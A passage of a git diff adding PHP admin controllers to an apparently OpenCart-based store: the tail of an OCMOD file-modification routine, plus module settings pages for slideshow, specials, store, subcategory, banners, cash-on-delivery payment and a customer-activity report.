+ $offset = $operation->getElementsByTagName('add')->item(0)->getAttribute('offset');
+
+ if ($offset == '') {
+ $offset = 0;
+ }
+
+ // Trim line if is set to true.
+ if ($trim == 'true') {
+ $add = trim($add);
+ }
+
+ // Log
+ $log[] = 'CODE: ' . $search;
+
+ // Check if using indexes
+ if ($index !== '') {
+ $indexes = explode(',', $index);
+ } else {
+ $indexes = array();
+ }
+
+ // Get all the matches
+ $i = 0;
+
+ $lines = explode("\n", $modification[$key]);
+
+ for ($line_id = 0; $line_id < count($lines); $line_id++) {
+ $line = $lines[$line_id];
+
+ // Status
+ $match = false;
+
+ // Check to see if the line matches the search code.
+ if (stripos($line, $search) !== false) {
+ // If indexes are not used then just set the found status to true.
+ if (!$indexes) {
+ $match = true;
+ } elseif (in_array($i, $indexes)) {
+ $match = true;
+ }
+
+ $i++;
+ }
+
+ // Now for replacing or adding to the matched elements
+ if ($match) {
+ switch ($position) {
+ default:
+ case 'replace':
+ $new_lines = explode("\n", $add);
+
+ if ($offset < 0) {
+ array_splice($lines, $line_id + $offset, abs($offset) + 1, array(str_replace($search, $add, $line)));
+
+ $line_id -= $offset;
+ } else {
+ array_splice($lines, $line_id, $offset + 1, array(str_replace($search, $add, $line)));
+ }
+
+ break;
+ case 'before':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, $line_id - $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ case 'after':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, ($line_id + 1) + $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ }
+
+ // Log
+ $log[] = 'LINE: ' . $line_id;
+
+ $status = true;
+ }
+ }
+
+ $modification[$key] = implode("\n", $lines);
+ } else {
+ $search = trim($operation->getElementsByTagName('search')->item(0)->textContent);
+ $limit = $operation->getElementsByTagName('search')->item(0)->getAttribute('limit');
+ $replace = trim($operation->getElementsByTagName('add')->item(0)->textContent);
+
+ // Limit
+ if (!$limit) {
+ $limit = -1;
+ }
+
+ // Log
+ $match = array();
+
+ preg_match_all($search, $modification[$key], $match, PREG_OFFSET_CAPTURE);
+
+ // Remove part of the the result if a limit is set.
+ if ($limit > 0) {
+ $match[0] = array_slice($match[0], 0, $limit);
+ }
+
+ if ($match[0]) {
+ $log[] = 'REGEX: ' . $search;
+
+ for ($i = 0; $i < count($match[0]); $i++) {
+ $log[] = 'LINE: ' . (substr_count(substr($modification[$key], 0, $match[0][$i][1]), "\n") + 1);
+ }
+
+ $status = true;
+ }
+
+ // Make the modification
+ $modification[$key] = preg_replace($search, $replace, $modification[$key], $limit);
+ }
+
+ if (!$status) {
+ // Abort applying this modification completely.
+ if ($error == 'abort') {
+ $modification = $recovery;
+ // Log
+ $log[] = 'NOT FOUND - ABORTING!';
+ break 5;
+ }
+ // Skip current operation or break
+ elseif ($error == 'skip') {
+ // Log
+ $log[] = 'NOT FOUND - OPERATION SKIPPED!';
+ continue;
+ }
+ // Break current operations
+ else {
+ // Log
+ $log[] = 'NOT FOUND - OPERATIONS ABORTED!';
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ // Log
+ $log[] = '----------------------------------------------------------------';
+ }
+
+ // Log
+ $ocmod = new Log('ocmod.log');
+ $ocmod->write(implode("\n", $log));
+
+ // Write all modification files
+ foreach ($modification as $key => $value) {
+ // Only create a file if there are changes
+ if ($original[$key] != $value) {
+ $path = '';
+
+ $directories = explode('/', dirname($key));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_MODIFICATION . $path)) {
+ @mkdir(DIR_MODIFICATION . $path, 0777);
+ }
+ }
+
+ $handle = fopen(DIR_MODIFICATION . $key, 'w');
+
+ fwrite($handle, $value);
+
+ fclose($handle);
+ }
+ }
+
+ // Maintance mode back to original settings
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', $this->maintenance);
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/oc3x_storage_cleaner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateWidget() {
+ if (!$this->user->hasPermission('access', 'extension/module/oc3x_storage_cleaner') || !$this->user->hasPermission('modify', 'extension/module/oc3x_storage_cleaner') || !$this->config->get('oc3x_storage_cleaner_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/slideshow.php b/public/admin/controller/extension/module/slideshow.php
new file mode 100644
index 0000000..dc31c00
--- /dev/null
+++ b/public/admin/controller/extension/module/slideshow.php
@@ -0,0 +1,154 @@
+load->language('extension/module/slideshow');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('slideshow', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/slideshow', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/slideshow', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/slideshow')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/special.php b/public/admin/controller/extension/module/special.php
new file mode 100644
index 0000000..ef86dd3
--- /dev/null
+++ b/public/admin/controller/extension/module/special.php
@@ -0,0 +1,152 @@
+load->language('extension/module/special');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('special', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/special', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/special', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/special')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/store.php b/public/admin/controller/extension/module/store.php
new file mode 100644
index 0000000..cad1dd9
--- /dev/null
+++ b/public/admin/controller/extension/module/store.php
@@ -0,0 +1,73 @@
+load->language('extension/module/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_store', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_store_admin'])) {
+ $data['module_store_admin'] = $this->request->post['module_store_admin'];
+ } else {
+ $data['module_store_admin'] = $this->config->get('module_store_admin');
+ }
+
+ if (isset($this->request->post['module_store_status'])) {
+ $data['module_store_status'] = $this->request->post['module_store_status'];
+ } else {
+ $data['module_store_status'] = $this->config->get('module_store_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/store', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/subcategory.php b/public/admin/controller/extension/module/subcategory.php
new file mode 100644
index 0000000..5e6496b
--- /dev/null
+++ b/public/admin/controller/extension/module/subcategory.php
@@ -0,0 +1,104 @@
+load->language('extension/module/subcategory');
+
+ $this->document->setTitle(strip_tags($this->language->get('heading_title')));
+
+ //$this->load->model('setting/setting');
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('subcategory', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+
+
+ /*$this->model_setting_setting->editSetting('module_subcategory', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));*/
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => strip_tags($this->language->get('heading_title')),
+ 'href' => $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/subcategory', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ foreach(['name','status', 'category_ids', 'sizes'] as $item){
+
+
+ if (isset($this->request->post[$item])) {
+ $data[$item] = $this->request->post[$item];
+ } elseif (!empty($module_info)) {
+ $data[$item] = $module_info[$item];
+ } else {
+ //$data[$item] = '';
+ }
+
+ }
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategories();
+
+ $data['categories'] = array_combine(array_column($categories, 'category_id'), $categories);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/subcategory', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/subcategory')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/wd_banners.php b/public/admin/controller/extension/module/wd_banners.php
new file mode 100644
index 0000000..d99a724
--- /dev/null
+++ b/public/admin/controller/extension/module/wd_banners.php
@@ -0,0 +1,176 @@
+load->language('extension/module/wd_banners');
+
+ $this->document->setTitle(strip_tags($this->language->get('heading_title')));
+
+ $this->load->model('setting/module');
+ $this->load->model('localisation/language');
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('wd_banners', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['twig'])) {
+ $data['error_twig'] = $this->error['twig'];
+ } else {
+ $data['error_twig'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/wd_banners', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ $data['THEME'] = $this->config->get('theme_'.$this->config->get('config_theme').'_directory');
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['sizes'])) {
+ $data['sizes'] = $this->request->post['sizes'];
+ } elseif (!empty($module_info)) {
+ $data['sizes'] = $module_info['sizes'];
+ } else {
+ $data['sizes'] = [];
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info['banner_id'])) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['fullwidth'])) {
+ $data['fullwidth'] = $this->request->post['fullwidth'];
+ } elseif (!empty($module_info['fullwidth'])) {
+ $data['fullwidth'] = $module_info['fullwidth'];
+ } else {
+ $data['fullwidth'] = '';
+ }
+
+ if (isset($this->request->post['twig'])) {
+ $data['twig'] = $this->request->post['twig'];
+ } elseif (!empty($module_info['twig'])) {
+ $data['twig'] = $module_info['twig'];
+ } else {
+ $data['twig'] = '';
+ }
+
+ if (isset($this->request->post['include'])) {
+ $data['include'] = $this->request->post['include'];
+ } elseif (!empty($module_info['include'])) {
+ $data['include'] = $module_info['include'];
+ } else {
+ $data['include'] = '';
+ }
+
+ if (isset($this->request->post['hide'])) {
+ $data['hide'] = $this->request->post['hide'];
+ } elseif (!empty($module_info['hide'])) {
+ $data['hide'] = $module_info['hide'];
+ } else {
+ $data['hide'] = '';
+ }
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/wd_banners', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/wd_banners')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ $theme_path = $this->config->get('theme_' . $this->config->get('config_theme') . '_directory');
+
+ if(!file_exists(DIR_CATALOG . 'view/theme/' . $theme_path . '/template/extension/module/' . $this->request->post['twig'] . '.twig')){
+ $this->error['twig'] = $this->language->get('error_twig');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/payment/cod.php b/public/admin/controller/extension/payment/cod.php
new file mode 100644
index 0000000..46c351d
--- /dev/null
+++ b/public/admin/controller/extension/payment/cod.php
@@ -0,0 +1,99 @@
+load->language('extension/payment/cod');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('payment_cod', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/payment/cod', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/payment/cod', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=payment', true);
+
+ if (isset($this->request->post['payment_cod_total'])) {
+ $data['payment_cod_total'] = $this->request->post['payment_cod_total'];
+ } else {
+ $data['payment_cod_total'] = $this->config->get('payment_cod_total');
+ }
+
+ if (isset($this->request->post['payment_cod_order_status_id'])) {
+ $data['payment_cod_order_status_id'] = $this->request->post['payment_cod_order_status_id'];
+ } else {
+ $data['payment_cod_order_status_id'] = $this->config->get('payment_cod_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['payment_cod_geo_zone_id'])) {
+ $data['payment_cod_geo_zone_id'] = $this->request->post['payment_cod_geo_zone_id'];
+ } else {
+ $data['payment_cod_geo_zone_id'] = $this->config->get('payment_cod_geo_zone_id');
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ if (isset($this->request->post['payment_cod_status'])) {
+ $data['payment_cod_status'] = $this->request->post['payment_cod_status'];
+ } else {
+ $data['payment_cod_status'] = $this->config->get('payment_cod_status');
+ }
+
+ if (isset($this->request->post['payment_cod_sort_order'])) {
+ $data['payment_cod_sort_order'] = $this->request->post['payment_cod_sort_order'];
+ } else {
+ $data['payment_cod_sort_order'] = $this->config->get('payment_cod_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/payment/cod', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/payment/cod')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_activity.php b/public/admin/controller/extension/report/customer_activity.php
new file mode 100644
index 0000000..270e48a
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_activity.php
@@ -0,0 +1,179 @@
+load->language('extension/report/customer_activity');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_activity', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_activity', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
